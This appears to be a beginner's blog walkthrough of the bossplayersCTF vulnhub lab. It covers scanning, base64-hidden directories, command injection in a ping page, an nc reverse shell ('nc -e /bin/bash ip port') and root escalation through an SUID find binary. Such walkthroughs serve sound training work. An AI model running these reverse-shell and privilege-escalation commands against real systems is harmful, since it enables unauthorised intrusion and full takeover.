bossplayersCTF ( For beginners)

This Box is from vulhub you can download it from Link

For this box you have to have knowledge of simple html,encoding an decoding (base64),nc(for reverse shell),find permission for root (privilege escalation).


Breaching Process 

Finding IP

  • Nmap

Enumeration

  • Browsing HTTP service
  • Enumerating directory
  • Found robots.txt

Exploitation

  • Got base64 
  • Decoded and got direcory
  • nc revserse shell

Privilege Escalation

  • Gaining access to root using find 


Let's Breach 

Using nmap we scan the network ip in our network

nmap -sn  ip_range (use root permission to scan )


After scanning, the IP of machine was 192.168.43.4

after finding the ip we go for Enumeration (this is the phase where you have to see every single piece of information)

I go for dirb scan and found robots.txt


Then i got for robots.txt without consuming time and got base64 encoded text decoded it but got trolled. Saying try harder




Then i go for more enumeration where i go for source page one by one and then found some random text at last page of source 

The code was encoded in base64 thrice time and it was simple to decode so i decoded the text and found workinginprogress.php


Surfing the decoded directory 



In this page we can use ping command so command execution from browse.
so i check can i execute other command link whoami,ifconfig if i can then i can ger reverse shell from nc 




whoami command run fine then time to got reverse shell
for reverse shell i use 
nc -e /bin/bash ip port


seems like it execute the bash shell and i got the low privilege shell of www-data

in my terminal


The shell seems not good so i imported tty shell of bash using python 

python -c 'import pty;pty.spawn("/bin/bash")'



Now let's find the permission

find / -perm -u=s -type f 2>/dev/null
and seems like find command can be executed as root without any password


so,
I google for find command to run as root if the root user gave the find command as root permission without password

find . -exec /bin/bash -p \; -quit

okay the cool thing was i got root permission and the challenge was done




The flag was encoded in base64.so,decoding it i got

congratulation





:) Happy hacking 














































Comments

Popular posts from this blog

Wordpress Reverse Shell

SAR1 VULHUB WALKTHROUGH

EVM: 1 Vulnhub Walkthrough